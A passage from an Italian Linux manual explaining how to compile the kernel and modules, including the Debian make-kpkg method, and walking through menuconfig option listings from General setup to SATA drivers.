|  for Search.  Legend: [*] built-in  [ ] excluded  <M> module  < >       |
| .--------------------------------------------------------------------. |
| |        General setup  --->                                         | |
| |    [*] Enable loadable module support  --->                        | |
| |    --- Enable the block layer  --->                                | |
| |        Processor type and features  --->                           | |
| |        Power management options (ACPI, APM)  --->                  | |
| |        Bus options (PCI, PCMCIA, EISA, MCA, ISA)  --->             | |
| |        Executable file formats  --->                               | |
| |        Networking  --->                                            | |
| |        Device Drivers  --->                                        | |
| |        File systems  --->                                          | |
| |    [*] Instrumentation Support  --->                               | |
| '----v(+)------------------------------------------------------------' |
|-------------------------------------------------------------------------|
|                    <Select>    < Exit >    < Help >                     |
'-------------------------------------------------------------------------'
```

Dopo la definizione della configurazione, si può passare alla compilazione del kernel relativo, utilizzando la sequenza di comandi seguente:

`$ make clean && make` [*Invio*]

Si tratta di due operazioni che non richiedono alcun tipo di interazione con l'utente. Al termine della compilazione, se questa ha avuto successo, il nuovo kernel si trova nella directory '`arch/i386/boot/`' con il nome '`bzImage`'[2] (questo vale naturalmente nel caso si utilizzi l'architettura x86).

Naturalmente, per fare in modo che il kernel possa essere utilizzato, questo va collocato dove il sistema che si occupa del suo avvio può trovarlo (capitolo 6). Di solito lo si copia nella directory radice o in '`/boot/`', dandogli il nome '`vmlinuz`' (come di consueto), sistemando poi ciò che serve per il sistema di avvio che si utilizza.

Generalmente, dal momento che si possono utilizzare più kernel alternativi, selezionandoli in fase di avvio, di solito il nome del file è completo della versione del kernel stesso: '`vmlinuz-`***w.x.y.z***'. Inoltre, si conserva una copia del file '`System.map`', mettendola nella stessa directory in cui si trova il kernel, con un nome del tipo '`System.map-`***w.x.y.z***'; infine si fa la stessa cosa con il file '`.config`', a cui si dà normalmente il nome '`config-`***w.x.y.z***'.

Se, in base alla configurazione, ciò che si vuole è ottenere soltanto un kernel monolitico (senza moduli), il procedimento si è concluso; diversamente occorre procedere con la compilazione dei moduli. Ma questi moduli, per poter essere gestiti correttamente, necessitano di programmi di servizio che si occupano della loro attivazione e disattivazione, i quali, a loro volta, potrebbero richiedere un aggiornamento in corrispondenza dell'uso di un nuovo kernel.

I programmi di servizio di gestione dei moduli si trovano normalmente in archivi il cui nome è organizzato in modo simile a quello dei sorgenti del kernel: '`modules-`***w.x.y.z***`.tar.gz`'. La struttura della versione rappresentata dai numeri ***w.x.y.z*** rispecchia lo stesso meccanismo utilizzato per i sorgenti del kernel, però non ne vengono prodotte altrettante versioni, pertanto si deve badare a utilizzare la versione più vicina a quella del kernel che si utilizza. Questo archivio si trova normalmente nella stessa directory del sito dal quale si ottengono i sorgenti del kernel. Anche i programmi contenuti nell'archivio '`modules-`***w.x.y.z***`.tar.gz`' sono in forma sorgente e prima di poterli utilizzare devono essere compilati e installati.

Se si sta ricompilando il kernel attraverso i sorgenti della distribuzione GNU/Linux che si utilizza, è ragionevole supporre che questi programmi di gestione dei moduli siano già stati installati correttamente.

Per ottenere un kernel modulare, dopo la preparazione del file principale del kernel attraverso il procedimento già descritto, si deve passare alla compilazione dei moduli:

`$` **`make modules`** [*Invio*]

Quindi si installano, ma per questo servono i privilegi dell'utente '**`root`**':

`#` **`make modules_install`** [*Invio*]

Quello che si ottiene sono dei file oggetto, i cui nomi hanno un'estensione '`.ko`' (*Kernel object*), raggruppati ordinatamente all'interno di directory discendenti da '`/lib/modules/`***w.x.y.z***`/`', dove ***w.x.y.z*** rappresenta il numero della versione dei sorgenti del kernel. La posizione di questi file non deve essere cambiata.

Si osservi che la compilazione dei moduli deve essere ripetuta ogni volta che si ricompila la parte principale del kernel; in altre parole, i moduli non sono compatibili con un kernel differente da quello per il quale sono stati realizzati specificatamente, anche se si tratta della stessa versione.

8.2 Compilazione del kernel in una distribuzione GNU/Linux Debian

Teoricamente, la distribuzione GNU/Linux Debian consente di compilare il kernel e i moduli secondo il procedimento standard; tuttavia è disponibile uno strumento per facilitare la compilazione del kernel, passando per la creazione di un pacchetto Debian vero e proprio, che poi può essere installato secondo la procedura comune della distribuzione stessa. Il pacchetto in questione è denominato '**`kernel-package`**' e per questo scopo può essere usato direttamente senza bisogno di alcuna configurazione. È sufficiente procedere nel modo seguente:

1. `cd` ***directory_iniziale_dei_sorgenti***

   ci si sposta nella directory iniziale dei sorgenti del kernel;

2. `make {config|menuconfig|xconfig|...}`

   si procede con la configurazione del kernel che si vuole ottenere;

3. `make-kpkg clean`

   ci si prepara alla compilazione;

4. `make-kpkg --revision=`***versione*** `kernel_image`

   si esegue la compilazione generando l'archivio Debian corrispondente, nella directory precedente (la directory genitrice), completo di moduli se previsti.

   Questo ultimo passaggio richiede però i privilegi dell'utente '**`root`**' per arrivare alla creazione del pacchetto Debian.

L'esempio seguente si riferisce alla compilazione di un kernel 2.6.21.6 (compresi i moduli eventuali) collocato nella directory '`~/linux-2.6.21.6/`'.

Questa collocazione è volutamente differente da quella standard per la distribuzione GNU/Linux Debian, la quale invece dovrebbe essere '`~/kernel-source-2.6.21.6/`', proprio per mostrare che ciò non influisce in questo contesto.

```
$ cd ~/linux-2.6.21.6 [Invio]
```

```
$ make-kpkg clean [Invio]
```

```
$ su root [Invio]
```

```
# make-kpkg --revision=custom.1.0 kernel_image [Invio]
```

Si può osservare che la versione è stata definita dalla stringa '**custom.1.0**'. Questo è ciò che viene suggerito nella documentazione originale. In particolare, il numero «1.0» va incrementato ogni volta che si predispone una versione successiva.

Al termine si ottiene l'archivio '`kernel-image-2.6.21.6_custom.1.0_i386.deb`', collocato nella directory precedente a quella dei sorgenti da cui è stato ottenuto; per installarlo basta procedere come segue, usando naturalmente i privilegi dell'utente '**root**':

```
# dpkg -i ../kernel-image-2.6.21.6_custom.1.0_i386.deb [Invio]
```

8.3 Elementi della configurazione

Gli elementi richiesti per la configurazione del kernel prima della sua compilazione, dipendono molto dalla versione che si possiede. In particolare, può capitare che alcune voci vengano spostate da una versione all'altra del kernel.

Le varie opzioni sono raggruppate in alcuni gruppi principali, i quali dovrebbero guidare intuitivamente nella configurazione prima della compilazione del kernel:

- *General setup*
  caratteristiche generali, sia fisiche, sia logiche del sistema;
- *Enable loadable module support*
  gestione dei moduli del kernel;
- *Enable the block layer*
  gestione dei dispositivi a blocchi che può essere omessa in certi kernel particolari (ma nell'architettura x86 non può mancare);
- *Processor type and features*
  caratteristiche del microprocessore o dei microprocessori;
- *Power management options (ACPI, APM)*
  controllo del sistema di alimentazione e del risparmio energetico;
- *Bus options (PCI, PCMCIA, EISA, MCA, ISA)*
  caratteristiche di vari tipi di bus;
- *Executable file formats*
  formati dei file eseguibili;
- *Networking*
  protocolli di rete;

- *Device Drivers*
  controllo dei dispositivi di vario genere;
  - *Generic Driver Options*
    opzioni generali riferite alla gestione dei dispositivi;
  - *Connector - unified userspace <:-> kernelspace linker*
  - *Memory Technology Devices (MTD)*
    gestione di memorie MTD, ovvero memoria speciale che ha la proprietà di non essere volatile come la RAM comune;
  - *Parallel port support*
    gestione delle porte parallele;
  - *Plug and Play support*
    gestione del Plug & Play;
  - *Block devices*
    gestione dei dispositivi a blocchi;
  - *Misc devices*
    gestione di dispositivi vari;
  - *ATA/ATAPI/MFM/RLL support*
    gestione di dischi PATA/ATAPI e simili;
  - *SCSI device support*
    gestione di unità SCSI;
  - *Serial ATA and Paralel ATA drivers*
    gestione di dischi SATA e gestione alternativa di dischi PATA;
  - *Multi-device support (RAID and LVM)*
    gestione software di unità multiple di memorizzazione, come nel caso dei dischi RAID;
  - *Fusion MPT device support*
    gestione di dispositivi Fusion MPT;
  - *IEEE 1394 (FireWire) support*
    gestione di un bus IEEE 1394, noto anche con il nome FireWire;
  - *I2O device support*
    gestione di dispositivi periferici speciali denominati «I2O»;
  - *Macintosh device drivers*
    gestione di dispositivi specifici per elaboratori Macintosh;
  - *Network device support*
    gestione di dispositivi di rete;
  - *ISDN subsystem*
    gestione di alcune schede speciali per la connessione a una rete ISDN (non è necessario utilizzare queste opzioni se si dispone di un «modem» ISDN esterno);
  - *Telephony Support*
    gestione di hardware speciale per la telefonia digitale su IP;
  - *Input device support*
    gestione di hardware per l'inserimento dati (tastiere, mouse ecc.);

- *Character devices*
  gestione dei dispositivi a caratteri (terminali, porte seriali, porte parallele, mouse, ecc.);
- *I2C support*
  gestione dei bus seriali I2C e SMBus;
- *SPI support*
  gestione del protocollo SPI (*Serial peripheral interface*);
- *Dallas's 1-wire bus*
  gestione del bus denominato come la voce stessa;
- *Power supply class support*
  gestione dell'alimentatore;
- *Hardware Monitoring support*
  gestione di componenti tipici delle schede madri per il controllo dello stato di funzionamento dell'hardware, soprattutto per quanto riguarda la temperatura;
- *Multifunction device drivers*
  gestione di dispositivi multifunzionali;
- *Multimedia devices*
  gestione di dispositivi multimediali;
- *Graphics support*
  gestione della console;
- *Sound*
  gestione dell'audio;
- *HID Devices*
  gestione generale dei dispositivi di interazione (*Human interface device*);
- *USB support*
  gestione del bus USB e delle unità periferiche relative;
- *MMC/SD cart support*
  gestione del protocollo relativo ai bus MMC (*Multimedia card*);
- *LED devices*
  gestione di unità che visualizzano certe condizioni attraverso luci led (non si tratta di quelli della tastiera);
- *InfiniBand support*
  gestione di unità InfiniBand e dei protocolli di comunicazione relativi;
- *EDAC - error detection and reporting (RAS)*
  gestione di funzionalità di individuazione di errori nell'hardware;
- *Real Time Clock*
  gestione di funzionalità «RTC»;
- *DMA Engine support*
  gestione avanzata della copia in memoria di dati, senza la richiesta di intervento da parte della CPU;
- *Auxiliary Display support*
  gestione di unità di visualizzazione ausiliarie;

- *Virtualization*
  gestione delle funzionalità di virtualizzazione hardware;
- *Userspace I/O*
- *Linux hypervisor example code*

- *File systems*
  gestione di file system, con le problematiche relative;
- *Instrumentation support*
- *Kernel hacking*
  configurazione particolare per chi vuole lavorare attivamente allo sviluppo del kernel;
- *Security options*
  configurazione dei sistemi di sicurezza attuati dal kernel;
- *Cryptographic options*
  funzionalità crittografiche;
- *Library routines*
  librerie.

Nelle sezioni seguenti vengono descritti in parte solo alcuni di questi gruppi di configurazione, mostrando qualche esempio che comunque non può esaurire il problema.

8.3.1 General setup

Questa sezione raccoglie delle opzioni di importanza generale che non hanno trovato una collocazione specifica in un'altra posizione della procedura di configurazione.

```
[*] Prompt for development and/or incomplete code/drivers
()  Local version - append to kernel release
[ ] Automatically append version information to the version string
[*] Support for paging of anonymous memory (swap)
[*] System V IPC
[ ] IPC Namespaces
[*] POSIX Message Queues
[*] BSD Process Accounting
[*] BSD Process Accounting version 3 file format
[ ] Export task/process statistics through netlink (EXPERIMENTAL)
[ ] UTS Namespaces
[*] Auditing support
[ ] Enable system-call auditing support
< > Kernel .config support
(15) Kernel log buffer size (16 => 64KB, 17 => 128KB)
[*] Cpuset support
[ ] Create deprecated sysfs files
[*] Kernel->user space relay support (formerly relayfs)
[*] Initial RAM filesystem and RAM disk (initramfs/initrd) support
() Initramfs source file(s)
```

```
[*] Optimize for size (Look out for broken compilers!)
[ ] Configure standard kernel features (for small systems) --->
    Choose SLAB allocator (SLAB) --->
```

8.3.2 Enable loadable module support

Questa sezione della procedura di configurazione permette di attivare il sistema di gestione dei moduli. I moduli sono blocchetti di kernel separati che possono essere attivati e disattivati durante il funzionamento del sistema. Solo alcune parti del kernel possono essere gestite in forma di modulo.

Se si intende creare un kernel modulare, è evidente la necessità di attivare questa gestione all'interno della parte principale del kernel stesso.

```
[*] Enable loadable module support
[*]   Module unloading
[ ]     Forced module unloading
[*]   Module versioning support
[ ]   Source checksum for all modules
[*]   Automatic kernel module loading
```

8.3.3 Processor type and features

Questa sezione serve a definire il tipo di microprocessore utilizzato. In generale, se si utilizza un'architettura di tipo x86, la selezione del tipo di microprocessore '**386**' garantisce la creazione di un kernel compatibile nella maggior parte delle situazioni, a discapito però delle prestazioni.

Sempre nel caso di architettura di tipo x86, è possibile abilitare l'emulazione per il coprocessore matematico (i387), che in alcuni elaboratori molto vecchi non è incluso. Di solito, l'inclusione del codice di emulazione non crea problemi di conflitti, perché viene individuata automaticamente la presenza dell'hardware relativo e l'emulazione non viene attivata se non quando necessario. In tal modo, includendo questa funzionalità si genera un kernel più compatibile.

L'esempio che si vede sotto si riferisce a una compatibilità limitata a microprocessori i686 o superiori:

```
[*] Tickless System (Dynamic Ticks)
[*] High Resolution Timer Support
[*] Symmetric multi-processing support
    Subarchitecture Type (PC-compatible)  --->
[*] Paravirtualization support (EXPERIMENTAL)
[ ]   VMI Paravirt-ops support
    Processor family (Pentium-Pro)  --->
[*] Generic x86 support
[*] HPET Timer Support
(8) Maximum number of CPUs (2-255)
[*] SMT (Hyperthreading) scheduler support
```

```
[*] Multi-core scheduler support
    Preemption Model (Preemptible Kernel (Low-Latency Desktop))  --->
[*] Preempt The Big Kernel Lock
[*] Machine Check Exception
<M>   Check for non-fatal errors on AMD Athlon/Duron / Intel Pentium 4
[*]   check for P4 thermal throttling interrupt.
<M> Toshiba Laptop support
<M> Dell laptop support
[*] Enable X86 board specific fixups for reboot
<M> /dev/cpu/microcode - Intel IA32 CPU microcode support
<M> /dev/cpu/*/msr - Model-specific register support
<M> /dev/cpu/*/cpuid - CPU information support
    Firmware Drivers  --->
    High Memory Support (4GB)  --->
    Memory model (Flat Memory)  --->
[ ] 64 bit Memory and IO resources (EXPERIMENTAL)
[ ] Allocate 3rd-level pagetables from highmem
[ ] Math emulation
[*] MTRR (Memory Type Range Register) support
[*] Boot from EFI support
[*] Enable kernel irq balancing
[*] Enable seccomp to safely compute untrusted bytecode
    Timer frequency (1000 HZ)  --->
[*] kexec system call
[ ] kernel crash dumps (EXPERIMENTAL)
[ ] Build a relocatable kernel(EXPERIMENTAL)
(0x100000) Alignment value to which kernel should be aligned
[*] Support for suspend on SMP and hot-pluggable CPUs (EXPERIMENTAL)
[*] Compat VDSO support
```

8.3.4 Power management options

Questa sezione permette di accedere alle funzionalità legate al controllo dell'alimentazione e al risparmio energetico. In generale si tratta di opzioni delicate che dipendono molto dalle caratteristiche fisiche dell'elaboratore.

```
[*] Power Management support
[*]   Legacy Power Management API (DEPRECATED)
[ ]   Power Management Debug Support
[*]   Suspend to RAM and standby
[ ]   Hibernation (aka 'suspend to disk')
      ACPI Support (Advanced Configuration and Power Interface)  --->
<*>   APM (Advanced Power Management) BIOS support  --->
      CPU Frequency scaling  --->
```

L'esempio mostra l'attivazione complessiva delle funzionalità, le quali devono però essere specificate all'interno di altri menù. In generale, dovrebbe essere possibile attivare le funzioni che

consentono di spegnere l'elaboratore via software, senza problemi particolari di incompatibilità, selezionando la voce `APM (Advanced Power Management) BIOS Support` e compilando la maschera relativa nel modo seguente:

```
<*> APM (Advanced Power Management) BIOS support
[ ]   Ignore USER SUSPEND
[ ]   Enable PM at boot time
[*]   Make CPU Idle calls when idle
[ ]   Enable console blanking using APM
[ ]   Allow interrupts during APM BIOS calls
[ ]   Use real mode APM BIOS call to power off
```

Si osservi che l'attivazione della voce `Use real mode APM BIOS call to power off` può essere controproducente con alcune schede madri che dispongono del BIOS AMI.

8.3.5 Bus options

Questa sezione permette di selezionare la gestione di alcuni tipi di bus. Generalmente è necessario abilitare l'uso di bus ISA e PCI:

```
[*] PCI support
      PCI access mode (Any)  --->
[*]   PCI Express support
< >     PCI Express Hotplug driver
[*]     Root Port Advanced Error Reporting support
[*] Message Signaled Interrupts (MSI and MSI-X)
[*] Interrupts on hypertransport devices
[*] ISA support
[ ]   EISA support
[ ] MCA support
<M> NatSemi SCx200 support
<M>   NatSemi SCx200 27MHz High-Resolution Timer Support
    PCCARD (PCMCIA/CardBus) support  --->
<M> Support for PCI Hotplug (EXPERIMENTAL)  --->
```

Per quanto riguarda la gestione di schede PCMCIA, è necessario attivare la gestione dei vari tipi di integrati che sono in grado di gestire un bus di questo tipo. Si accede a queste voci da `PCCARD (PCMCIA/CardBus) support`:

```
<M> PCCard (PCMCIA/CardBus) support
[ ]   Enable PCCARD debugging
<M>   16-bit PCMCIA support
[*]     Load CIS updates from userspace (EXPERIMENTAL)
[*]     PCMCIA control ioctl (obsolete)
---   32-bit CardBus support
---   PC-card bridges
<M>   CardBus yenta-compatible bridge support
<M>   Cirrus PD6729 compatible bridge support
<M>   i82092 compatible bridge support
<M>   i82365 compatible bridge support
<M>   Databook TCIC host bridge support
```

8.3.6 Executable file formats

Il kernel deve essere predisposto per il tipo di eseguibili che si vogliono usare. In generale, se possibile, conviene abilitare tutti i tipi disponibili:

```
<*> Kernel support for ELF binaries
<M> Kernel support for a.out and ECOFF binaries
<*> Kernel support for MISC binaries
```

8.3.7 Networking

La configurazione delle funzionalità di rete è importante anche se il proprio elaboratore è isolato. Quando è attiva la gestione della rete, il kernel fornisce implicitamente le funzionalità di inoltro dei pacchetti, consentendo in pratica il funzionamento come router. Tuttavia, l'attivazione di ciò dipende dall'inclusione della gestione del file system '`/proc/`' (8.3.21) e dell'interfaccia '**`sysctl`**' (8.3.1). Inoltre, durante il funzionamento del sistema è necessario attivare espressamente l'inoltro IPv4 attraverso un comando simile a quello seguente:

`#` **`echo '1' > /proc/sys/net/ipv4/ip_forward`** [*Invio*]

Esiste anche un comando analogo per IPv6, che però va usato soltanto quando serve veramente, perché con la funzionalità di inoltro attiva, il nodo di rete non prende in considerazione la configurazione automatica di Radvd (sezione 38.14.6):

`#` **`echo 1 > /proc/sys/net/ipv6/conf/`*****interfaccia*****`/forwarding`** [*Invio*]

```
--- Networking support
      Networking options  --->
[*]   Amateur Radio support  --->
<M>   IrDA (infrared) subsystem support  --->
<M>   Bluetooth subsystem support  --->
<M>   RxRPC session sockets
[ ]     RxRPC dynamic debugging
<M>     RxRPC Kerberos security
      Wireless  --->
<M>   RF switch subsystem support  --->
<M>   Plan 9 Resource Sharing Support (9P2000)  --->
```

Le opzioni di funzionamento della rete sono raccolte in un menù a cui si accede dalla voce `Networking options`:

```
<*> Packet socket
[*]   Packet socket: mmapped IO
<*> Unix domain sockets
<M> Transformation user configuration interface
[ ] Transformation sub policy support (EXPERIMENTAL)
[ ] Transformation migrate database (EXPERIMENTAL)
<M> PF_KEY sockets
[ ]   PF_KEY MIGRATE (EXPERIMENTAL)
[*] TCP/IP networking
[*]   IP: multicasting
[*]   IP: advanced router
        Choose IP: FIB lookup algorithm  --->
[*]   IP: policy routing
[*]   IP: equal cost multipath
[ ]     IP: equal cost multipath with caching support (EXPERIMENTAL)
[*]   IP: verbose route monitoring
[ ]   IP: kernel level autoconfiguration
<M>   IP: tunneling
<M>   IP: GRE tunnels over IP
[*]     IP: broadcast GRE over IP
[*]   IP: multicast routing
[*]     IP: PIM-SM version 1 support
[*]     IP: PIM-SM version 2 support
[ ]   IP: ARP daemon support (EXPERIMENTAL)
[*]   IP: TCP syncookie support (disabled per default)
<M>   IP: AH transformation
<M>   IP: ESP transformation
<M>   IP: IPComp transformation
<M>   IP: IPsec transport mode
<M>   IP: IPsec tunnel mode
<M>   IP: IPsec BEET mode
<M>   INET: socket monitoring interface
[*]   TCP: advanced congestion control  --->
[ ]   TCP: MD5 Signature Option support (RFC2385) (EXPERIMENTAL)
```

```
<M>   IP virtual server support (EXPERIMENTAL)  --->
<M>   The IPv6 protocol
[*]     IPv6: Privacy Extensions support
[ ]     IPv6: Router Preference (RFC 4191) support
[ ]     IPv6: Enable RFC 4429 Optimistic DAD (EXPERIMENTAL)
<M>     IPv6: AH transformation
<M>     IPv6: ESP transformation
<M>     IPv6: IPComp transformation
[ ]     IPv6: Mobility (EXPERIMENTAL)
<M>   IPv6: IPsec transport mode
<M>   IPv6: IPsec tunnel mode
<M>   IPv6: IPsec BEET mode
<M>   IPv6: MIPv6 route optimization mode (EXPERIMENTAL)
<M>   IPv6: IPv6-in-IPv4 tunnel (SIT driver)
<M>   IPv6: IPv6-in-IPv6 tunnel
[ ]   IPv6: Multiple Routing Tables
[*] Security Marking
[*] Network packet filtering framework (Netfilter)  --->
<M> The DCCP Protocol (EXPERIMENTAL)  --->
--- The SCTP Protocol (EXPERIMENTAL)  --->
<M> The TIPC Protocol (EXPERIMENTAL)  --->
<*> Asynchronous Transfer Mode (ATM) (EXPERIMENTAL)
<*>   Classical IP over ATM (EXPERIMENTAL)
[ ]     Do NOT send ICMP if no neighbour (EXPERIMENTAL)
<M>   LAN Emulation (LANE) support (EXPERIMENTAL)
<M>     Multi-Protocol Over ATM (MPOA) support (EXPERIMENTAL)
<M>   RFC1483/2684 Bridged protocols
[ ]     Per-VC IP filter kludge
<M> 802.1d Ethernet Bridging
<M> 802.1Q VLAN Support
<M> DECnet Support
[*]   DECnet: router support (EXPERIMENTAL)
<M> ANSI/IEEE 802.2 LLC type 2 Support
<M> The IPX protocol
[*]   IPX: Full internal IPX network
<M> Appletalk protocol support
<M>   Appletalk interfaces support
<M>     Apple/Farallon LocalTalk PC support
<M>     COPS LocalTalk PC support
[*]       Dayna firmware support
[*]       Tangent firmware support
<M>     Appletalk-IP driver support
[*]       IP to Appletalk-IP Encapsulation support
[*]       Appletalk-IP to IP Decapsulation support
<M> CCITT X.25 Packet Layer (EXPERIMENTAL)
<M> LAPB Data Link Driver (EXPERIMENTAL)
<M> Acorn Econet/AUN protocols (EXPERIMENTAL)
```

```
[*]   AUN over UDP
[*]   Native Econet
<M> WAN router
    QoS and/or fair queueing  --->
    Network testing  --->
```

La gestione relativa a IPTables, diventa accessibile in un menù separato, dopo aver attivato la voce `Network packet filtering framework`:

```
--- Network packet filtering framework (Netfilter)
[ ]   Network packet filtering debugging
[*]   Bridged IP/ARP packets filtering
      Core Netfilter Configuration  --->
      IP: Netfilter Configuration  --->
      IPv6: Netfilter Configuration (EXPERIMENTAL)  --->
      DECnet: Netfilter Configuration  --->
      Bridge: Netfilter Configuration  --->
```

Per accedere alla gestione di filtro IPv4, occorre selezionare la voce `IP: Netfilter Configuration`:

```
<M> IPv4 connection tracking support (required for NAT)
[*]   proc/sysctl compatibility with old connection tracking
<M> IP Userspace queueing via NETLINK (OBSOLETE)
<M> IP tables support (required for filtering/masq/NAT)
<M>   IP range match support
<M>   TOS match support
<M>   recent match support
<M>   ECN match support
<M>   AH match support
<M>   TTL match support
<M>   Owner match support
<M>   address type match support
<M>   Packet filtering
<M>     REJECT target support
<M>   LOG target support
<M>   ULOG target support
<M>   Full NAT
<M>     MASQUERADE target support
<M>     REDIRECT target support
<M>     NETMAP target support
<M>     SAME target support
<M>     Basic SNMP-ALG support (EXPERIMENTAL)
<M>   Packet mangling
<M>     TOS target support
<M>     ECN target support
<M>     TTL target support
<M>     CLUSTERIP target support (EXPERIMENTAL)
```

```
<M>   raw table support (required for NOTRACK/TRACE)
<M> ARP tables support
<M>   ARP packet filtering
<M>   ARP payload mangling
```

Successivamente, dal menù `Device drivers`, `Network device support`, si procede all'inserzione del codice necessario alla gestione delle varie interfacce di rete utilizzate effettivamente.

8.3.8 Device drivers, parallel port support

La gestione della porta parallela non riguarda solo la stampa, dal momento che consente anche l'uso di altri tipi di unità periferiche. In questo gruppo di opzioni è possibile abilitare l'uso delle porte parallele, stabilendo eventualmente il grado di compatibilità di queste.

```
<M> Parallel port support
<M>   PC-style hardware
<M>     Multi-IO cards (parallel and serial)
[*]     Use FIFO/DMA if available (EXPERIMENTAL)
[ ]     SuperIO chipset support (EXPERIMENTAL)
<M>     Support for PCMCIA management for PC-style ports
<M>   AX88796 Parallel Port
[*]   IEEE 1284 transfer modes
```

8.3.9 Device drivers, plug and play support

La gestione del Plug & Play permette al kernel di configurare automaticamente alcuni dispositivi che aderiscono a queste specifiche.

```
[*] Plug and Play support
[ ]   PnP Debug Messages
---   Protocols
[*]   ISA Plug and Play support (EXPERIMENTAL)
[*]   Plug and Play BIOS support (EXPERIMENTAL)
[*]     Plug and Play BIOS /proc interface
```

8.3.10 Device drivers, block devices

Un dispositivo a blocchi è quello che utilizza una comunicazione a blocchi di byte di dimensione fissa, contrapponendosi al dispositivo a caratteri con cui la comunicazione avviene byte per byte. Il dispositivo a blocchi tipico è costituito da un'unità di memorizzazione di massa.

Merita attenzione particolare anche il dispositivo definito *loopback*,[3] il quale rappresenta in pratica un file contenente l'immagine di una memoria di massa che viene letta come se fosse un'unità di memorizzazione reale. Questa possibilità, tra le altre cose, consente di gestire direttamente i file che contengono la riproduzione esatta di dischi o altre memorie di massa.

Infine, è qui che si può abilitare e configurare la gestione dei dischi RAM, ovvero di dischi che vengono rappresentati nella memoria RAM.

```
<*> Normal floppy disk support
< > XT hard disk support
< > Parallel port IDE device support
<M> Compaq SMART2 support
<M> Compaq Smart Array 5xxx support
[*]   SCSI tape drive support for Smart Array 5xxx
<M> Mylex DAC960/DAC1100 PCI RAID Controller support
<M> Micro Memory MM5415 Battery Backed RAM support (EXPERIMENTAL)
<M> Loopback device support
<M>   Cryptoloop Support
<M> Network block device support
<M> Promise SATA SX8 support
< > Low Performance USB Block driver
<*> RAM disk support
(16)  Default number of RAM disks
(24576) Default RAM disk size (kbytes)
(1024) Default RAM disk block size (bytes)
<M> Packet writing on CD/DVD media
(8)   Free buffers for data gathering
[ ]   Enable write caching (EXPERIMENTAL)
<M> ATA over Ethernet support
```

8.3.11 Device drivers, ATA/ATAPI/MFM/RLL support

La gestione di unità a blocchi tradizionali ed economiche, PATA/ATAPI, viene inserita in un menù apposito. In particolare, è possibile includere una gestione specifica per alcuni integrati, specialmente per quelli che hanno dimostrato di avere dei difetti di funzionamento.

```
--- ATA/ATAPI/MFM/RLL support
<M>   Enhanced IDE/MFM/RLL disk/cdrom/tape/floppy support
---     Please see Documentation/ide.txt for help/info on IDE drives
[ ]     Support for SATA (deprecated; conflicts with libata SATA driver)
[ ]     Use old disk-only driver on primary interface
<M>     Include IDE/ATA-2 DISK support
[ ]     Use multi-mode by default
<M>     PCMCIA IDE support
<M>     Cardbus IDE support (Delkin/ASKA/Workbit)
<M>     Include IDE/ATAPI CDROM support
<M>     Include IDE/ATAPI TAPE support (EXPERIMENTAL)
<M>     Include IDE/ATAPI FLOPPY support
< >     SCSI emulation support
[ ]     IDE ACPI support
[ ]     IDE Taskfile Access
[*]     legacy /proc/ide/ support
---     IDE chipset support/bugfixes
<M>     generic/default IDE chipset support
[*]     CMD640 chipset bugfix/support
[ ]       CMD640 enhanced support
```

```
[*]     PNP EIDE support
[*]     PCI IDE chipset support
[*]       Sharing PCI IDE interrupts support
[ ]     Boot off-board chipsets first support
<M>     Generic PCI IDE Chipset Support
<M>     OPTi 82C621 chipset enhanced support (EXPERIMENTAL)
<M>     RZ1000 chipset bugfix/support
[*]     Generic PCI bus-master DMA support
[ ]       Force enable legacy 2.0.X HOSTS to use DMA
[ ]       Enable DMA only for disks
<M>       AEC62XX chipset support
<M>       ALI M15x3 chipset support
[ ]         ALI M15x3 WDC support (DANGEROUS)
<M>       AMD and nVidia IDE support
<M>       ATI IXP chipset IDE support
<M>       CMD64{3|6|8|9} chipset support
<M>       Compaq Triflex IDE support
<M>       CY82C693 chipset support
<M>       Cyrix CS5510/20 MediaGX chipset support (VERY EXPERIMENTAL)
<M>       Cyrix/National Semiconductor CS5530 MediaGX chipset support
<M>       Cyrix/National Semiconductor CS5530 MediaGX chipset support
<M>       AMD CS5535 chipset support
<M>       HPT34X chipset support
[ ]         HPT34X AUTODMA support (EXPERIMENTAL)
<M>       HPT36X/37X chipset support
<M>       JMicron JMB36x support
<M>       National SCx200 chipset support
<M>       Intel PIIXn chipsets support
<M>       IT8213 IDE support
<M>       IT821X IDE support
<M>       NS87415 chipset support
<M>       PROMISE PDC202{46|62|65|67} support
[*]         Special UDMA Feature
<M>       PROMISE PDC202{68|69|70|71|75|76|77} support
<M>       ServerWorks OSB4/CSB5/CSB6 chipsets support
<M>       Silicon Image chipset support
<M>       SiS5513 chipset support
<M>       SLC90E66 chipset support
<M>       Tekram TRM290 chipset support
<M>       VIA82CXXX chipset support
<M>       Toshiba TC86C001 support
[*]     Other IDE chipset support
---       Note: most of these also require special kernel boot parameters
[*]       Generic 4 drives/port support
<M>       ALI M14xx support
<M>       DTC-2278 support
<M>       Holtek HT6560B support
<M>       QDI QD65xx support
<M>       UMC-8672 support
```

```
[ ]     IGNORE word93 Validation BITS
```

8.3.12 Device drivers, SCSI support

Questa sezione riguarda la gestione del kernel delle unità SCSI. Le interfacce SCSI non hanno uno standard comune come avviene nel caso di quelle ATA e derivate, per cui è indispensabile includere il codice specifico per tutte le interfacce che si intendono utilizzare.

In certe situazioni può essere necessario abilitare la «gestione generica» SCSI. In particolare, questo serve nel caso si preveda l'uso di un masterizzatore SCSI.

```
<M> RAID Transport Class
<M> SCSI device support
---   SCSI target support
[*] legacy /proc/scsi/ support
--- SCSI support type (disk, tape, CD-ROM)
<M> SCSI disk support
<M> SCSI tape support
<M> SCSI OnStream SC-x0 tape support
<M> SCSI CDROM support
[*]   Enable vendor-specific extensions (for SCSI CDROM)
<M> SCSI generic support
<M> SCSI media changer support
--- Some SCSI devices (e.g. CD jukebox) support multiple LUNs
[*] Probe all LUNs on each SCSI device
[*] Verbose SCSI error reporting (kernel size +=12K)
[*] SCSI logging facility
[ ] Asynchronous SCSI scanning
    SCSI Transports  --->
    SCSI low-level drivers  --->
    PCMCIA SCSI adapter support  --->
```

Per definire l'uso di questo o di quell'adattatore SCSI, occorre selezionare la voce *`SCSI low-level drivers`*.

8.3.13 Device drivers, serial ATA and paralel ATA drivers

Questa sezione riguarda la gestione più evoluta delle unità ATA, sia seriali, sia parallele. Come per le unità SCSI è necessario includere il codice specifico per tutte le interfacce che si intendono utilizzare.

```
--- Serial ATA (prod) and Parallel ATA (experimental) drivers
<M>   AHCI SATA support
<M>   ServerWorks Frodo / Apple K2 SATA support
<M>   Intel ESB, ICH, PIIX3, PIIX4 PATA/SATA support
<M>   Marvell SATA support (HIGHLY EXPERIMENTAL)
<M>   NVIDIA SATA support
```

```
<M>   Pacific Digital ADMA support
<M>   Pacific Digital SATA QStor support
